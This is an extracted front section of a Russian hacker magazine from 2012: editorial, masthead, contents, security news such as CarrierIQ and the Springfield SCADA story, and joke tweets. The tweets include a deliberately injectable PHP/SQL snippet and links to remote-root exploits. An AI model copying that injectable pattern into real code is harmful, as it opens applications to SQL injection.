13.07.2015 Views

НА БАГАХ В CHROME - Xakep Online

НА БАГАХ В CHROME - Xakep Online

НА БАГАХ В CHROME - Xakep Online

SHOW MORE
SHOW LESS
  • No tags were found...

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

ГИД ПО НАКРУТКЕ ОНЛАЙН-ГОЛОСОВАНИЙ030ЖУРНАЛ ОТ КОМПЬЮТЕРНЫХ ХУЛИГАНОВWWW.XAKEP.RU02 (157) 2012 ТОТАЛЬНЫЙ ДЕСТРОЙ MONGODBРазрабатываемсвой упаковщикисполняемых файловРЕКОМЕНДОВАННАЯЦЕНА: 230 р.024БЕСЕДУЕМ О DDOSС СОЗДАТЕЛЯМИHIGHLOAD LABНА БАГАХ В <strong>CHROME</strong>ПРИМЕРНО $270.000 УЖЕВЫПЛАТИЛА КОМПАНИЯGOOGLE ЗА ИНФОРМАЦИЮ ОБУЯЗВИМОСТЯХ В ИХБРАУЗЕРЕ.МЫ НАУЧИМ ТЕБЯ, КАК ВЫЖАТЬБАКСЫ ИЗ GOOGLE <strong>CHROME</strong>.018040ЗАПУСКАЕМANDROID НАОБЫЧНОМ КОМПЕ082ИСТОРИЯРУТКИТОВ:1986-2011


CODINGАЛЕКСАНДР ЭККЕРТ ALEKSANDR-EHKKERT@RAMBLER.RU


IntroРЕДАКЦИЯГлавный редакторШеф-редакторВыпускающий редакторНикита «nikitozz» Кислицин (nikitoz@real.xakep.ru)Степан «step» Ильин (step@real.xakep.ru)Николай «gorl» Андреев (gorlum@real.xakep.ru)Редакторы рубрикPC_ZONE и UNITSВЗЛОМUNIXOID и SYN/ACKMALWAREКОДИНГPR-директорЛитературный редакторDVDВыпускающий редакторUnix-разделSecurity-разделМонтаж видеоARTАрт-директорДизайнерВерстальщикИллюстрация на обложкеСтепан «step» Ильин (step@real.xakep.ru)Маг (magg@real.xakep.ru)Андрей «Andrushock» Матвеев (andrushock@real.xakep.ru)Александр «Dr. Klouniz» Лозовский (alexander@real.xakep.ru)Николай «gorl» Андреев (gorlum@real.xakep.ru)Анна Григорьева (grigorieva@glc.ru)Елена БолотниковаАнтон «ant» Жуков (ant@real.xakep.ru)Андрей «Andrushock» Матвеев (andrushock@real.xakep.ru)Дмитрий «D1g1» Евдокимов (evdokimovds@gmail.com)Максим ТрубицынАлик Вайнер (alik@glc.ru)Егор ПономаревВера СветлыхСергей СнурникPUBLISHINGУчредитель ООО «Гейм Лэнд», 115280, Москва,ул. Ленинская Слобода,19, Омега плаза, 5 этаж, офис № 21. Тел.: (495) 935-7034, факс: (495) 545-0906НОВОГОДНИЙDDOSВо время новогодних праздников сложилась очень ироничнаяситуация. Только мы закончили делать интервью с создателямианти-ДДоС технологии QRATOR, как наш сайт и форум капитальнолегли от мощного новогодне-рождественского ДДоСа. Ситуациябыла очень простая: 100 мегабитный канал нашего сервера оказалсяпочти на 100% загружен левыми запросами и ресурсов дляобслуживания нормальных посетителей уже не осталось. Причемне только на уровне канала, но и на уровне производительностисамой платформы.Ситуацию спасло только обращение как раз к нашим друзьямиз Highload Lab, сервис которых достаточно быстро решил проблему,грамотно зафильтровав вражеский ботнет. Надо сказать, этопротивостояние между интернет-сервисами и ДДоС-ботнетами –достаточно унылая история. По сути, все опять упирается в деньги:ведь и организация атак, и защита от них требуют финансовыхвливаний.Радует одно: по моим подсчетам в этом финансовом спореперевес все-таки на белой стороне: организация атак стоит подороже,чем пользование специальными сервисами для фильтрациитрафика. Прикинуть просто: условная стоимость примитивногоDDoS’а начинается от $50 в сутки, то есть за месяц DDoS'а придетсявыложить $1500. Уже эта сумма явно больше, чем требуется дляфильтрации зловредной активности: за 50 баксов в день ничегосверхъестественного не сделаешь, а стоимость профессиональнойзащиты начинается от $160 в месяц.В то же время для неподготовленного ресурса даже примитивныйДДоС может стать настоящей бедой: мало того, что никтообычно к этому не готов в техническом плане, но и необходимостьплатить пусть даже $160 в месяц может оказаться смертельнойдля частного некоммерческого сайта. Так что DDoS сейчас это кактуберкулез — болезнь бедных :(.nikitozz, гл. ред. Хshop.glc.ru/xakepvkontakte.ru/xakep_magГенеральный директорГенеральный издательФинансовый директорДиректор по маркетингуУправляющий арт-директорГлавный дизайнерДиректор по производствуРАЗМЕЩЕНИЕ РЕКЛАМЫТел.: (495) 935-7034, факс: (495) 545-0906РЕКЛАМНЫЙ ОТДЕЛДиректор группы TECHNOLOGYСтаршие менеджерыМенеджерДиректор корпоративной группыСтарший менеджерМенеджерСтарший трафик-менеджерДмитрий АгаруновАндрей МихайлюкАндрей ФатеркинЕлена КаркашадзеАлик ВайнерЭнди ТернбуллСергей КучерявыйМарина Филатова (filatova@glc.ru)Ольга Емельянцева (olgaeml@glc.ru)Оксана Алехина (alekhina@glc.ru)Елена Поликарпова (polikarpova@glc.ru)(работа с рекламными агентствами)Кристина Татаренкова (tatarenkova@glc.ru)Юлия Господинова (gospodinova@glc.ru)Мария Дубровская (dubrovskaya@glc.ru)Марья Буланова (bulanova@glc.ru)ОТДЕЛ РЕАЛИЗАЦИИ СПЕЦПРОЕКТОВДиректорАлександр Коренфельд (korenfeld@glc.ru)МенеджерыСветлана МюллерНаталия ТулиноваРАСПРОСТРАНЕНИЕДиректор по дистрибуцииРуководитель отдела подпискиРуководительспецраспространенияКошелева Татьяна (kosheleva@glc.ru)Клепикова Виктория (lepikova@glc.ru)Лукичева Наталья (lukicheva@glc.ru)Претензии и дополнительная инфа:В случае возникновения вопросов по качеству печати и DVD-дисков: claim@glc.ru.Горячая линия по подпискеФакс для отправки купонов и квитанций на новые подписки: (495) 545-09-06Телефон отдела подписки для жителей Москвы: (495) 663-82-77Телефон для жителей регионов и для звонков с мобильных телефонов: 8-800-200-3-999Для писем: 101000, Москва, Главпочтамт, а/я 652, ХакерЗарегистрировано в Министерстве Российской Федерации по делам печати, телерадиовещанию исредствам массовых коммуникаций ПИ Я 77-11802 от 14.02.2002Отпечатано в типографии Zapolex, Польша. Тираж 219 833 экземпляров.Мнение редакции не обязательно совпадает с мнением авторов. Все материалы в номерепредоставляются как информация к размышлению. Лица, использующие данную информацию впротивозаконных целях, могут быть привлечены к ответственности. Редакция не несет ответственностиза содержание рекламных объявлений в номере. За перепечатку наших материалов безспроса — преследуем. По вопросам лицензирования и получения прав на использование редакционныхматериалов журнала обращайтесь по адресу: content@glc.ru.© ООО «Гейм Лэнд», РФ, 2012ХАКЕР 02/157/ 2012 001


ContentHEADERРОССИЙСКИЕ ХАКЕРЫ ВЗЛОМАЛИСИСТЕМУ УПРАВЛЕНИЯ ВОДОПРО-ВОДОМ ГОРОДА СПРИНГФИЛД, США.010004 MEGANEWSВсе новое за последний месяц011 hacker tweetsХак-сцена в твиттере016 Колонка Степы ИльиннаВиртуальная машина на флешке017 Proof-of-conceptМенеджер задач на ExcelCOVERSTORY024ОтрядAntiDDoSСоздатель Highload LabАлександр Лямин рассказываето буднях борцов сDDoS'ом.COVERSTORY018 030Охота на жуков вGoogle ChromeРуководство позаработку на пентестепопулярноговеб-браузераCOVERSTORYКак накрутитьмиллионПолный гид понакрутке онлайнголосованийОНЛАЙН-ГОЛОСОВАНИЕ


058 104PCZONE036 Игры в «песочнице»Приспосабливаем Sandboxie для анализа подозрительныхфайлов040 Android на x86Как использовать Android на обычном компе044 Где хранить код?Выбираем правильный хостинг кодаВЗЛОМ048 Easy-HackХакерские секреты простых вещей052 Обзор эксплоитовАнализ свеженьких уязвимостей058 Тотальный дестрой MongoDBРазоблачение мифа о безопасности NoSQL СУБД064 Легальный троян: это как?Потрошим коммерческий зловред Remote Control System070 X-ToolsПрограммы для взломаСЦЕНА072 ZeroNights 2011Запоздалый отчет с хакерской конференциив Санкт-ПетербургеMALWARE074 Бурим антивирус. Еще глубже!Рассматриваем способы мониторинга событийи проактивной защиты в разных антивирусных программах080 VBR-руткитНовый тип руткитов, заражающих BOOT-сектора082 История руткитовОт начала начал до сегодняшнего дняКОДИНГUNIXOID104 Победы и поражения open source — 2011Самые важные достижения в мире open sourceи прогнозы на будущее110 Криптологический райХардкорные возможности OpenSSL и OpenSSH,о которых ты не зналSYN/ACK116 Лечебное обрезаниеДелаем минималистичный Linux-дистрибутивдля конкретного сервера122 Рожденный под цифрой восемьЗнакомимся с Windows Server 8126 Новые доспехи для IT-инфраструктурыПрименение IDS/IPS — действенный способпредотвратить вторжение в корпоративную сетьFERRUM132 Я твой Sandy Bridge труба шаталТестирование материнских плат на базе чипсета AMD A75136 Samsung RF712-S01Универсальный ноутбук для развлечений!ЮНИТЫ138 FAQ UNITEDБольшой FAQ142 Диско8.5 Гб всякой всячины143 WWW2Удобные web-сервисы116088 Ищем ошибки в программах на C/C++Обзор бесплатных инструментов для статическогоанализа кода094 HOW-TO: PE-пакерРазрабатываем свой упаковщик исполняемых файлов100 Паттерн «Команда»Унифицируем интерфейсы выполнения команд


MEGANEWS21 МИНУТУ в среднем будет занимать чистаяинсталляция (с нуля) Windows 8, утверждаютв Microsoft.КАК НЕ НУЖНО УСТРАИВАТЬСЯНА РАБОТУХАКЕР ПОПЫТАЛСЯ НАНЯТЬСЯ В КОМПАНИЮ,КОТОРУЮ САМ ЖЕ И ВЗЛОМАЛФЛЕШКА С ДВУМЯСТЕПЕНЯМИ ЗАЩИТЫДЕВАЙС ДЛЯ ОЧЕНЬ-ОЧЕНЬ СЕКРЕТНЫХ ДАННЫХКомпания Marriottоценивает свои затратыв 400 тыс. — 1млн долларов. Деньгиушли на оплатууслуг консультантов,устранение брешив безопасности и выявлениеущерба, нанесенногохакером.лучай, произошедший недавно в США, доказывает, что даже умелыйхакер может быть дураком. А как еще назвать парня, попавшего в рукиССекретной службы США по собственной глупости? Отличившегосявенгерского хакера зовут Аттила Немет, ему 26 лет, и он решил устроитьсяна работу очень необычным образом. Еще в прошлом году хакер разослал сотрудникамсети Marriott (эта крупная сеть отелей, работающая по всему миру,наверняка тебе знакома) инфицированные трояном письма. Всего пострадалооколо ста человек. С помощью троянца хакер успешно добрался до конфиденциальныхфинансовых данных компании и похитил документацию. Затем онпринялся удаленно шантажировать Marriott, угрожая опубликовать украденныеденные, если ему не дадут работу в IT-подразделении сети отелей!Неудивительно, что такой наглости в Marriott не выдержали и обратилисьза помощью в Секретную службу США. Люди из органов, прикинувшись HRспециалистами,пообщались с Неметом по e-mail и телефону и в итоге назначилиему собеседование на территории США. Когда хакер прилетел в Штаты,с ним действительно провели беседу, и он был уверен, что общается с обычнымрекрутером. В ходе интервью Немет сам выложил всё о письмах, заражении,шантаже. Самонадеянного хакера, разумеется, арестовали. Хотя Немет во всемсознался, теперь ему грозит до десяти лет тюрьмы.овсем скоро в производство, а затем и в продажупоступит флешка Crypteks, обладающая сразуСдвумя механизмами защиты. Это устройствопоможет сохранить твои данные в безопасности, дажеесли третьим лицам удалось получить физический доступк флешке. Для того чтобы его ограничить, разработчикипоставляют с флешкой криптекс — цилиндрическиймеханизм с пятью кодовыми кольцами, на каждое из которыхнанесено 26 букв латинского алфавита. На выходеполучается порядка 12 млн комбинаций, то есть вскрытьтакой замок будет весьма трудно. Но даже если флешкуудастся извлечь из криптекса и вставить в компьютер, длядоступа к данным придется ввести еще и код, посколькунакопитель оснащен чипом 256-битного AES-шифрования.Чтобы вскрыть эту защиту, придется изрядно попотеть.В штатном режиме Crypteks обеспечивает скорость чтения24 Мб/с и скорость записи 10 Мб/с. Устройство ожидаетсяв продаже уже в этом году. Стоимость Crypteks USB на 8 Гбсоставит 130 долларов, а на 16 Гб — 160 долларов. Ценабюджетной модели объемом 4 Гб пока, увы, не сообщается.45 ГБИТ/С — ТАКОЙ ВЕЛИЧИ-НЫ ДОСТИГЛА МОЩНОСТЬDDOS-АТАКИ, зафиксированнойспециалистами Prolexic.Пятнадцать тысяч запросовв секунду, это практическиDDoS года.ПРЕЗИДЕНТ И ГЕНЕРАЛЬ-НЫЙ ДИРЕКТОР Walt DisneyРоберт Айгер приобрел ценныебумаги компании Appleна сумму почти один миллиондолларов — всего 2670 акцийпо цене $375 за штуку.ИЗ GOOGLE+ ТЕПЕРЬ МОЖНОБЕСПЛАТНО ЗВОНИТЬ на мобильныеи стационарные телефоны:такой функционалпоявился у «Видеовстреч».Увы, пока он доступен толькодля США.ЭКСПЕРТЫ MCAFEE ПРО-ЧАТ ПЛАТФОРМЕ ANDROIDВИРУСНУЮ ЭПИДЕМИЮ. По ихданным, количество вирусовдля Android выросло на 37%по сравнению со вторымкварталом 2011 года.MYSQL.COM СНОВА ВЗЛО-МАЛИ ПРИ ПОМОЩИ SQL-ИНЪЕКЦИИ, на этот раз отличилсяхакер D35M0ND142.Может, это было бы не смешно,если бы это не был ужетретий случай за год.004ХАКЕР 02 /157/ 2012


MEGANEWSБЕТА-ТЕСТ MICROSOFT OFFICE 15 должен стартовать уже совсем скоро, в январе 2012-го.ЗАЩИТА ДЛЯ DNS-СОЕДИНЕНИЙВ OPENDNS ПРИДУМАЛИ НОВОЕ СРЕДСТВО ДЛЯ ПРЕДОТВРАЩЕНИЯАТАК ТИПА MAN-IN-THE-MIDDLEомпания OpenDNS анонсировала проект DNSCrypt — новое средстводля защиты от атак, связанных с модификацией транзитногоКтрафика DNS или манипулрованием им (man-in-the-middle, спуфингили снифинг). Основная задача проекта состоит в полном шифровании каналасвязи между клиентом и сервером DNS. Примерно так же SSL используется дляшифрования HTTP-трафика. DNSCrypt дополняет технологию DNSSEC, котораяв первую очередь обеспечивает аутентификацию, верификацию и получениеданных, но не предоставляет средств для их шифрования. По сравнениюс проектом DNSCurv, который осуществляет полный цикл шифрования всехзапросов DNS, DNSCrypt значительно упрощен, причем как с точки зренияреализации, так и в плане конфигурации. DNSCrypt ориентирован толькона шифрование канала связи между пользователем и резолвером DNS и не затрагиваетшифрование данных между DNS-серверами. DNSCrypt используетреализацию алгоритма Curve25519 (шифрование по эллиптическим кривым)вместо RSA. Серверная часть DNSCrypt, выполненная в виде прокси, может работатьв большинстве серверных систем, включая OpenBSD, NetBSD, DragonflyBSD, FreeBSD, Linux и Mac OS X. DNSCrypt не поддерживает кеширование, поэтомуразработчики рекомендуют использовать его в сочетании с поддерживающимикеширование резолверами, такими как Unbound, PowerDNS и dnscache.Клиентская часть пока, к сожалению, разработана только для Mac OS X.ПОСЛЕДНИЕ СЛУХИ С ВОСТОКА«Наша технологиядополняет DNSSECи все другие службы,связанные с защитойDNS. DNSCrypt сразуже после установкиобеспечиваетбезопасность и приватностьобменяDNS-трафикоммежду тобойи OpenDNS» (ДэвидЮлевич, основательи глава OpenDNS).ИЗ ЮЖНОЙ КОРЕИ СООБЩАЮТ,ЧТО КОМПАНИЯ SAMSUNG В 2012ГОДУ ВООБЩЕ ПЛАНИРУЕТОТКАЗАТЬСЯ ОТ ВЫПУСКАНЕТБУКОВ С ЭКРАНОМ 10"CARRIERIQ СЛЕДИТЗА ТОБОЙНОВЫЙ СКАНДАЛ ИЗ-ЗА ШПИОНСКОГОПО НА СМАРТФОНАХкандал с участием ведущих компаний — производителейсмартфонов и ФБР разразился недавноСиз-за странного «открытия» Android-разработчикаТревора Экхарта. Всё началось с заявления, которое онопубликовал на сайте androidsecuritytest.com. Оно гласило,что ПО некой компании CarrierIQ в реальном времени запоминает,какие клавиши он нажимает на своем телефоне,фиксирует его передвижения и всеми доступными методамиследит за ним без его ведома и согласия. По словам Экхарта,приложение также шпионит за владельцами миллионовсмартфонов под управлением Android, RIM и ОС Nokia (проблемаимеется далеко не во всех прошивках и моделях).Не прошло и недели, как из компании CarrierIQ Экхартуприслали письмо-предупреждение (Cease&Desist). В немговорилось, что Экхарт якобы нарушил патент (то есть опубликовалте данные, которые не имел права публиковать),а также распространял лживые сведения. Разработчикне растерялся и заручился поддержкой Electronic FrontierFoundation, которая подтвердила что, согласно Первойпоправке к Конституции США, его публикация не нарушаетзакон. CarrierIQ пришлось «сдать назад» и извиниться. «Мызаблуждались и поэтому приносим мистеру Экхарту своиизвинения за проблемы, которые могли возникнуть у негов связи с нашим письмом. Мы уважаем работу EFF и разделяемих заинтересованность в защите прав на свободуслова в быстро развивающемся технологическом мире», —гласит официальное заявление. Однако компания всё равнопродолжала отрицать, что ее ПО является руткитом и следитза пользователями, игнорируя закон. Однако Тревор Экхартна этом не остановился. В ответ на заискивания компаниион опубликовал на YouTube видео (youtu.be/T17XQI_AYNo),в котором наглядно продемонстрировал всё то, о чем писалранее. С помощью анализатора пакетов он показал, каксофт от CarrierIQ регистрирует каждое нажатие клавишии каждое полученное SMS, пока устройство находитсяв режиме полета. Затем он подключил телефон к Wi-Fi-сетии открыл Google. Хотя он отказал поисковому гиганту в запросена определение местоположения, CarrierIQ все равнозафиксировал его. Потом шпионское ПО в точности записалоего поисковый запрос (hello world), хотя он ввел его на странице,которая использует протокол SSL. Видео, котороезаканчивается резонными вопросами «почему вызываетсяSMSNotify, отсылающий текстовые сообщения в CarrierIQ?»и «почему читаются данные, передаваемые по моемуWi-Fi-соединению моим браузером, особенно по протоколуHTTPS?», содержит еще много интересного. Можешьпосмотреть сам. Инцидент, получивший широкий резонансв СМИ, побудил сенатора Эла Франкена потребовать у компанииCarrierIQ объяснений о том, почему она считает, что ихдиагностическое ПО, встроенное в 141 модель смартфона,не нарушает закон США о несанкционированных подключенияхк линиям связи. Компания Apple спешно заверила,что софт от CarrierIQ давно не входит в состав iOS. На самомделе ПО есть, но оно просыпается только в активном диагностическомрежиме, который по умолчанию в «яблочных»аппаратах, конечно, отключен. ФБР, в свою очередь, отказалоськомментировать ситуацию, сославшись на то, что ведетнекое расследование. Пока не ясно, использует ли само ФБРсофт от CarrierIQ, или ведет расследование в отношенииCarrierIQ, или совмещает и то и другое.006ХАКЕР 02 /157/ 2012


MEGANEWSПО ДАННЫМ MICROSOFT, ПИРАТСКИЕ DVD ПРОДАЮТ в 53 % магазинов Пскова, 44 % магазинов Красноярска и 43 % магазинов Сургута.САМЫЕ УЯЗВИМЫЕ СМАРТФОНЫ2011 ГОДАСПЕЦИАЛИСТЫ BIT9 ОПУБЛИКОВАЛИ ЗАНИМАТЕЛЬНЫЙ АНТИТОППолный список уязвимыхаппаратов,по версии Bit9, выглядитследующимобразом:1. Samsung GalaxyMini.2. HTC Desire.3. Sony EricssonXperia X10.4. Sanyo Zio.5. HTC Wildfire.6. Samsung Epic 4G.7. LG Optimus S.8. Samsung Galaxy S.9. Motorola Droid X.10. LG Optimus One.11. Motorola Droid 2.12. HTC Evo 4G.мериканская компания Bit9 опубликовала результаты очередногоисследования. «Грязная» дюжина наиболее уязвимых смартфонов,Апользующихся популярностью у потребителей, выглядит забавно.Весь этот список состоит из аппаратов, работающих под управлением разныхверсий ОС Android. Почетное 13 место занимает iPhone 4 вместе с более старымимодификациями «яблочного» аппарата. Критериями попадания в этотblack list стали популярность на рынке, устаревшая небезопасная версия ОС,установленная по умолчанию, и самые медленные циклы обновления.Далеко не почетное первое место в антитопе досталось Samsung Galaxy Mini,а второе и третье места принадлежат не менее известным «трубкам» HTCDesire и Sony Ericsson Xperia X10 соответственно.Почему «черный список» полностью состоит из аппаратов на базе AndroidОС? Исследователи Bit9 показали, что на 56 % (!) всех устройств на базеAndroid, представленных сегодня на рынке, установлена устаревшая версияОС. Такие производители мобильных устройств, как Samsung, HTC, Motorolaи LG, зачастую продают смартфоны с уже устаревшим предустановленным ПО.Впоследствии они вовсе не торопятся модернизировать эти аппараты и оснащатьих последними и наиболее безопасными версиями Android.SOPA УГРОЖАЕТ«ВКОНТАКТЕ»И RUTRACKERНОВЫЙ ЗАКОНОПРОЕКТ SOPA (STOP ONLINEPIRACY ACT) НАЦЕЛЕН НА БОРЬБУ С ПИРАТСТВОМВ ИНТЕРНЕТЕВПалату представителейСШАпоступил на рассмотрениезаконопроектStop <strong>Online</strong> Piracy Act(SOPA), предлагающийбеспрецедентные мерыв отношении иностранныхсайтов с нелицензионнымконтентом.Планируется изыматьдомены у владельцев,блокировать их счетав платежных системах,перекрывать им источникифинансирования (например, исключать эти ресурсыиз рекламной программы AdSense), удалять контент этихсайтов из поисковых систем и на уровне ISP блокироватьдоступ к ним с территории США. Что хуже, SOPAможет прикрыть лазейку в DMCA, которая позволялатем сайтам, с которых пиратский контент скачивалисами пользователи, избегать ответственности за егораспространение. Представители MPAA и RIAA опубликовалисписки сайтов, которым SOPA грозит в первуюочередь. Это торрент-трекеры (в том числе rutracker.orgи demonoid.me) и различные файл-хостинги. Отдельноупомянут ВКонтакте, где реализованы некоторыефункции, которые «умышленно и эффективно нарушаютзаконодательство».Лоббисты из Голливуда уверяют, что только так можнобороться с пиратством вне американской юрисдикциии в будущем сохранить мировое лидерство США на рынкепродуктов интеллектуальной собственности. Противникамипроекта стали интернет-сообщество, компанииGoogle, Yahoo, Facebook и все те, кто говорят о недопустимостивведения цензуры в интернете, ведь правообладателиполучают возможность без суда требоватьзакрытия практически любого сайта.ЛИДЕР В ОБЛАСТИ ПРОИЗВОДСТВААКУСТИКИ ДЛЯ КОМПЬЮТЕРОВПРЕДСТАВЛЯЕТ ОБНОВЛЕННУЮЛИНЕЙКУ КОЛОНОК.EDIFIER R2500Edifier International Ltd. расширяет свою линейкуаудио систем 2.0. Одна из новинок данной линейки— колонки Edifier R2500. Эта аудио системаидеально подойдет для дома или офиса. Новинкаоснащена встроенным USB портом, SD кардридером,FM-тюнером и входом AUX для подключениялюбых источников звука. Колонки выполнены вдеревянном корпусе и производят 50 Вт мощности.Это обеспечивается благодаря 5 -дюймовым магнитноэкранированными динамикам, и 1-дюймовомутвиттеру и 2 усилителям (для каждой колонкисвой). Edifier R2500 — впечатляющая система длятех, кто ищет отличное качество звука.ДЖОН КАРМАК ИЗ IDSOFTWAREI ВЫЛОЖИЛ В ОТ-КРЫТЫЙ ДОСТУП исходникидвижка Doom III под свободнойлицензией. Программистыуже нашли в коде кучуошибок.В ЯНВАРЕ СТЭНФОРД ОТ-КРЫВАЕТ БЕСПЛАТНЫЕКУРСЫ ПО КРИПТОГРАФИИ:crypto-class.org. Лекциибудет читать профессор ДэнБонех, один из разработчиковtcpcrypt.008ХАКЕР 02 /157/ 2012


MEGANEWSТРИ ГОДА ПОТРЕБОВАЛОСЬ APPLE,чтобы закрыть дыру в iTunes, через которую с 2008 года распространялся троян FinFisher.ЗАЧЕМ РОССИЙСКИМ ХАКЕРАМ АМЕРИКАНСКИЙ НАСОС?ПЕРВАЯ В ИСТОРИИ ИНОСТРАННАЯ АТАКА НА КОММУНАЛЬНУЮ ИНФРАСТРУКТУРУ США ПОКА НЕ НАНЕСЛА УЩЕРБекоторые американские эксперты давнопредупреждают, что новые компьютерные системыуправления с модулями удаленного доступаНдля сетей водоснабжения, а также электросети smartgrid с TCP/IP-стеком представляет собой потенциальнуюопасность. «Страшилки» ходят уже лет 10–15, с тех пор какначалась активная компьютеризация объектов коммунальнойинфраструктуры.Инцидент со Stuxnet показал, что атаки на промышленныеобъекты не фантастика, а реальная сфера деятельностиспецслужб. После этого инцидента американскаявоенщина напряглась. Что будет, если такой вирус выведетиз строя, например, десяток американских АЭС? Какреагировать на диверсию? Пентагон попытался запугатьпотенциальных врагов и заявил, что ответом на нее можетстать военный удар. Сегодня военная доктрина США рассматриваеткибератаки на национальную инфраструктурукак возможный повод для начала военных действий.И хотя до настоящего времени ни одна подобная зарубежнаяатака не была реализована, всё когда-то случаетсяв первый раз.Американский эксперт в области безопасностиSCADA-систем Джо Вайсс с 1998 года ведет счет произошедшимна промышленных объектах инцидентам, которыемогут объясняться хакерской активностью. В ноябре2011 года он поведал публике о «сенсационном» происшествии.Из своих источников Вайсс узнал, что иностранныехакеры проникли в SCADA-систему управления водопроводомCurran-GardnerWaterDistrict в города Спрингфилд(штат Иллинойс), которая обслуживает всего пару тысячжителей. При закрытом расследовании инцидента в логахякобы был обнаружен российский IP-адрес. Один из насосовводоподъемной башни сгорел в результате многократныхвключений и отключений. Расследование показало,что система управления SCADA глючила в течениедвух-трех последних месяцев. Поскольку вход в системубыл осуществлен через обычную форму с логином и паролем,Вайсс заявил, что злоумышленник предварительновзломал сайт разработчика SCADA-систем и получил базус именами и паролями пользователей, так что опасностьгрозит и системам водоснабжения в других американскихгородах. Шумиха поднялась немалая — всё-таки речь шлао первой в истории зарубежной атаке на коммунальнуюинфраструктуру США.После шумихи с «взломом» насосной станции в Иллинойсе с прессой связался некто pr0f, который рассказал,насколько просто проникнуть в SCADA-систему водопровода Южного Хьюстона (Техас). В качестве доказательстваон предъявил пять скриншотов и системную информацию. Хакер не причинил вреда системе, хотя мог бы.К расследованию подключились специалисты Министерствавнутренней безопасности США и ФБР. Послепредварительного анализа логов они сообщили, чтоникаких следов хакерской атаки не выявлено. Наличиероссийских IP-адресов в логах компьютерной системыобъясняется тем, что один из сотрудников организацииподрядчикавыезжал в Россию по личному делу. Ну а самводяной насос глючил и сломался от старости.Каждый решает сам, можно ли верить специалистамиз органов и Вайссу. С одной стороны, история о заграничнойпоездке сотрудника выглядит как-то нелепо. Pr0fговорит, что проникнуть в американскую SCADA-системутого же водопровода способен даже двухлетний ребенок— это крайне просто. С другой стороны, зачем российскимхакерам американский насос?ФАЙРВОЛ ДЛЯ ТВОЕЙ КОЖИМарка Ив Роше представляет гамму средствPure System, разработанную специальнодля молодой проблемной кожи. Даннаяпрограмма эффективно борется с основнымипризнаками проблемной кожи:1) избыток кожного жира;2) неровная поверхности кожи;3) прыщи и черные точки;4) следы после прыщей.Работая над Pure System, ИсследователиРастительной Косметики Yves Rocher остановилисвой выбор на компонентах, которыеобеспечивают ультраэффективностьпротив прыщей и ультрабережное отношениек коже. Это салициловая кислота иэстракт мякоти алоэ.Салициловая кислота, обладающая антибактериальнымэффектом, удаляет отмершиеклетки с поверхности кожи, а такжеборется с закупоренностью пор — главнойпричиной возникновения черных точек ипрыщей. Алое смягчает кожу и укрепляетее защитную функцию.010ХАКЕР 02 /157/ 2012


Алексей Синцов (@asintsov)#hacker tweets@bobukМысль дня: один плохой программистежегодно создает триновых рабочих места.@mckt_if(user.followers == 0 && user.following > 50 && tweet.mentions> 3 && tweet.has_link){tweet.is_probably_spam}id=$id;@d0znppМой любимый SQLi сценарий:$id=$_GET['id']; $o=newObject($id); SELECT ... WHERE@mikko:Только что изменил имя своейточки Wi-Fi на '5.99 евро/ми -нута'. Что ж, посмотрим, какмного будет желающих, подсоединится к ней.@Dabeaz:Написать компилятор несложно.А вот написание компилятора,который дает пользователюхорошие сообщения об ошибках — вот этосложно.@ortegaalfredo:Не хочу раздувать, но в следующемнашем исследовании мывзломаем удаленно несколькозвезд, похожих на солнце, луну и планетузлых рептилий.@toxo4ka:«Тебе также понадобятся мозги.Это конечно не модуль Perl, нопомогает.»Комментарий:Цитата из списка необходимых Perlмодулей для работы с sqlninja.@sschillace:Из-за SOPA ты можешь получить5 лет за скачивание песниМайкла Джексона, что на одингод больше, чем получил доктор за его убийство...Комментарий:SOPA — Stop <strong>Online</strong> Piracy Act.Законопроект, который развязывает рукиправообладателям и властям по воздействиюна «пиратские» ресурсы и их владельцев.@dlitchfield:Пачка новых багов в 11gR2 былаотправлена на secalert_us@oracle.com и я так и не получилответа в течение 24 часов... Вы ребята забылименя? ;-)Комментарий:Дэвид Личфелд самый злостныйубийца Oracle. Все самые страшные баги вэтой СУБД — его рук дело, при этом, есличто не так, он не заискивает перед гигантом,а выкладывает 0day баги в паблик (например,расскажет на BlackHat)@thegrugq:Люди спрашивают: что означаетвыражение «боевой эксплойт»?.Ну что же, тут два ключевыхнаправления, которые стоит посмотреть: 1)появляется ли калькулятор 2) присутствуютли escape-последовательностисистем.@cesarcer:@thegrugq, лол, я уже не боюсь«боевых эксплойтов». Я ужеудалил calc.exe со всех своих@L4merS3C:Клиент: «Я защищен, у меня естьIPS, WAF, NAC». Ага, то, что янадел нижнее белье, не означает,что я не буду чувствовать удар по яйцам.@aaronportnoy:С этими SCADA, широковещалкой,медицинскими и спутниковымиисследованиями мыбудем хакать как в фильмах в следующемгоду.@ABazhanyukFreeBSD ftpd and ProFTPd onFreeBSD Remote r00t Exploit:http://www.exploit-db.com/exploits/18181/@kevinmitnick:Иранцы использовали GPSspoofing для захвата американскогобеспилотника. Если этоправда, то может это вам ответ за Stuxnet?@alexmImmunity:Продажа эксплойтов — это какпродажа огнестрельного оружия.Люди могут использоватьего для защиты себя или для нападения. Влюбом случае я сплю спокойно.@DeathStarPR:Siri, предупредительныйвыстрел по Альдерану. Я сказал«ПРЕДУПРЕДИТЕЛЬНЫЙВЫСТРЕЛ». Черт, проклятье, Siri!@d0znppКогда вы пишете проверку подписи,проверяйте, чтобы то, счем вы сравниваете ее не выдавалосьна ?debug=true. LOL #ПРАКТИКА-ЗАЩИТЫ-ВЕБА@hdmoore:Больше фана с BSD производнымидемонами Telnet:http://bit.ly/s8yy9X < эксплойтыдля FreeBSD 5.3 -> 8.2 и Red Hat EnterpriseLinux 3.ХАКЕР 02 /157/ 2012 011


